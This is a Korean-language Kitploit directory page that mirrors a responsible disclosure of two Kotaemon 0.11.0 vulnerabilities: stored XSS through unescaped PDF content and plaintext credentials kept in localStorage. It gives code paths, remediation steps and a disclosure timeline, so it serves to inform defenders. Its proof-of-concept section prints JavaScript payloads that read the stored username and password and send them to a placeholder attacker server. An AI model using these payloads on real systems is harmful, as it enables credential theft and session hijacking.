Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Kotaemon-CVE-2025-56526-56527-disclosure — 공개 공시 — Kotaemon 0.11.0에서 비위생 처리된 PDF 콘텐츠 렌더링을 통한 Stored XSS 및 평문 자격 증명 노출 (CVE-2025-56526 및 CVE-2025-56527). 전체 기술 분석, PoC, 영향 평가 및 책임 있는 공개 일정을 포함합니다. | Kitploit
도구/GitHubGitHub/hantul/kotaemon-cve-2025-56526-56527-disclosure
Phishing ToolsVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationWeb SecurityPapers & ResearchLearning & Education

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
hantul/kotaemon-cve-2025-56526-56527-disclosure

Kotaemon-CVE-2025-56526-56527-disclosure

공개 공시 — Kotaemon 0.11.0에서 비위생 처리된 PDF 콘텐츠 렌더링을 통한 Stored XSS 및 평문 자격 증명 노출 (CVE-2025-56526 및 CVE-2025-56527). 전체 기술 분석, PoC, 영향 평가 및 책임 있는 공개 일정을 포함합니다.

저장소 보기
19개월 전아직 검토되지 않음

Kotaemon CVE-2025-56526 및 CVE-2025-56527 공개

Kotaemon 정보 패널의 저장형 크로스 사이트 스크립팅과 localStorage의 평문 자격 증명 저장이 결합되어, 단일 악성 PDF 업로드로 전체 세션이 손상될 수 있습니다.

요약

  • 영향받는 제품/버전: Kotaemon <= 0.11.0 (커밋 37cdc28 포함)
  • 취약점:
    • CVE-2025-56526 – PDF 콘텐츠 렌더링 시 이스케이프 처리되지 않아 발생하는 저장형 XSS
    • CVE-2025-56527 – localStorage에 평문 사용자 이름/비밀번호 저장
  • 필요 권한: 문서 업로드 권한이 있는 인증된 사용자
  • 영향: 자격 증명 탈취, 지속적인 세션 하이재킹, LLM 출력 UI 변조, 사용자 신뢰 하락

CVE 개요

CVE ID취약점 유형CWE주요 영향
CVE-2025-56526PDF 기반 HTML을 통한 저장형 XSSCWE-79임의 JavaScript 실행, 데이터 유출
CVE-2025-56527평문 자격 증명 저장CWE-922자격 증명 노출, 세션 하이재킹

기술 분석

1. 이스케이프되지 않은 PDF 콘텐츠 렌더링 (저장형 XSS)

PDF 추출 결과(텍스트, 테이블 마크업, 이미지 메타데이터)가 이스케이프 없이 DOM에 삽입됩니다. 따라서 악성 PDF는 retrieved_content를 렌더링하는 정보 패널 또는 추론 뷰에서 실행되는 임의의 HTML/JS를 포함할 수 있습니다.

영향받는 코드 경로:

  • libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)
  • libs/ktem/ktem/index/file/ui.py (table / image 렌더링)
  • libs/ktem/ktem/reasoning/simple.py 및 libs/ktem/ktem/reasoning/react.py
  • libs/kotaemon/kotaemon/indices/qa/format_context.py

2. localStorage에 평문 자격 증명 저장

libs/ktem/ktem/pages/login.py와 libs/ktem/ktem/assets/js/main.js는 localStorage에서 원시 자격 증명을 저장하고 검색합니다:

root@kitploit:~
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');

XSS 벡터를 통해 실행되는 모든 JavaScript가 즉시 이 값을 읽을 수 있으므로, 자격 증명 탈취가 확실하게 이루어지고 장기간 계정이 탈취됩니다.

개념 증명

  1. 다음 페이로드를 PDF에 포함시킵니다(예: 이미지 alt 속성 또는 텍스트 객체 내부):
root@kitploit:~
 {
  const u = localStorage.getItem('username');
  const p = localStorage.getItem('password');
  if (u && p) {
    new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
  }
})();
">
  1. PDF를 업로드하고 Kotaemon의 정보 패널에서 엽니다. 포함된 스크립트가 애플리케이션 오리진 내에서 실행되며 자격 증명을 유출합니다.
  2. 업그레이드된 페이로드는 추가로 브라우징 컨텍스트를 탈취하여 타겟팅을 돕습니다:
root@kitploit:~
 {
  const payload = btoa(
    `id=${localStorage.getItem('username')}` +
    `&pw=${localStorage.getItem('password')}` +
    `&url=${location.href}&origin=${location.origin}` +
    `&ua=${navigator.userAgent}`
  );
  new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">

영향

  • 저장형 XSS: 악성 PDF가 열릴 때마다 임의 JavaScript가 실행됩니다.
  • 자격 증명 탈취: 평문 username/password 쌍이 삽입된 모든 스크립트에 노출됩니다.
  • 지속적인 세션 하이재킹: 공격자가 자격 증명을 재사용하여 사용자로 위장하고 프로젝트에 접근하거나 LLM 출력을 오염시킬 수 있습니다.
  • LLM 출력 무결성 손실: 사용자는 더 이상 정보 패널 또는 추론 결과를 신뢰할 수 없으며, 정교한 사회공학 공격 체인이 가능해집니다.

확장 위협 분석

Kotaemon은 사용자가 민감한 내부 문서를 업로드하는 로컬 또는 엔터프라이즈 환경에 배포되는 경우가 많습니다. PDF에서 추출된 콘텐츠가 DOM에 이스케이프 없이 삽입되므로, 공격자는 정상적인 비즈니스 문서처럼 보이는 파일에 악성 페이로드를 숨길 수 있습니다.

피해자가 이 문서를 업로드하여 열면 숨겨진 JavaScript가 자동으로 실행되어 localStorage에서 자격 증명을 탈취하고 개인 채팅 로그와 문서 내용을 노출시킵니다.

트리거가 사용자에 의해 발생한 것처럼 보이지만 이는 self-XSS가 아닙니다. 근본 원인은 업로드된 파일에서 추출한 HTML을 서버 측에서 이스케이프 처리하지 않았기 때문에 신뢰할 수 있는 UI 구성 요소 내에서 저장형 XSS가 발생하는 것입니다.

따라서 현실적인 사회공학 시나리오에서 단 하나의 악성 PDF로 전체 계정이 손상될 수 있습니다.

권장 사항

  1. PDF에서 추출한 모든 콘텐츠를 렌더링하기 전에 이스케이프 또는 정화합니다(예: html.escape, DOMPurify, DOM 싱크에 Trusted Types 사용).
  2. 승인된 태그/속성만 브라우저에 도달하도록 Markdown/HTML 허용 목록 파이프라인을 적용합니다.
  3. 클라이언트 측에 원시 자격 증명을 저장하지 않도록 합니다. 대신 HTTP-only 보안 쿠키나 수명이 짧은 세션 토큰을 사용합니다.
  4. CSP(script-src 'self') 및 Trusted Types를 배포하여 DOM XSS 공격 표면을 줄입니다.
  5. PDF 수집 경로에 대한 회귀 테스트를 추가하고, 검색된 콘텐츠를 신뢰할 수 없는 것으로 처리하는 LLM 출력 처리 정책을 정의합니다.

증거 (screenshots/)

  • 정보 패널에 렌더링된 악성 PDF
  • 추출된 콘텐츠를 통해 삽입된 HTML 페이로드
  • 개발자 도구에서 이스케이프되지 않은 DOM 노드
  • localStorage에 저장된 평문 자격 증명
  • 페이로드가 보낸 네트워크 유출 요청
  • 공격자 서버가 base64 인코딩된 자격 증명 수신
  • 업그레이드된 페이로드가 URL/오리진/UA 메타데이터 수집
  • 결과적으로 공격자가 제어하는 세션/UI

공개 진술

이 공개 권고는 업계 표준의 책임 있는 공개 관행을 따릅니다:

  • 공급업체가 대응하고 패치할 수 있도록 90일 이상의 기간이 제공되었습니다.
  • 해결 또는 수정 계획 없이 여러 차례 후속 연락이 이루어졌습니다.
  • CVE 식별자(CVE-2025-56526, CVE-2025-56527)는 MITRE에서 공식적으로 할당되었습니다.
  • 공개 30일 전에 최종 통지가 발송되었습니다.
  • 이제 최종 사용자를 보호하고 미패치 위험에 대한 노출을 줄이기 위해 공개를 진행합니다.

사용자를 위한 권장 사항

Kotaemon(<= 0.11.0) 사용자는 보안 수정이 제공될 때까지 다음을 고려해야 합니다:

  • 공식 저장소에서 예정된 보안 패치를 모니터링하세요.
  • 신뢰할 수 없는 문서는 처리하지 마세요.

공개 타임라인

  • 2025-07-14: Kotaemon 팀에 초기 취약점 보고서 제출.
  • 2025-08-12: 첫 번째 후속 연락; 공급업체가 바쁘다고 인정하며 기한 요청.
  • 2025-09-12: 두 번째 후속 연락; 상세 보고서 및 PoC 제공.
  • 2025-09-13: 최종 후속 연락; 추가 응답 없음.
  • 2025-10-14: 공개 의사를 밝히는 최종 통지 발송.
  • 2025-11-14: CVE-2025-56526 및 CVE-2025-56527 공개.

크레딧 및 연락처

  • 이 보고서는 HanTul이 작성했습니다. (이전 Team 404 Not Found 퇴근, WhiteHat School 3기 (WHS3), 대한민국).
  • 연락처: [email protected]
  • GitHub: @HanTul
도구 다운로드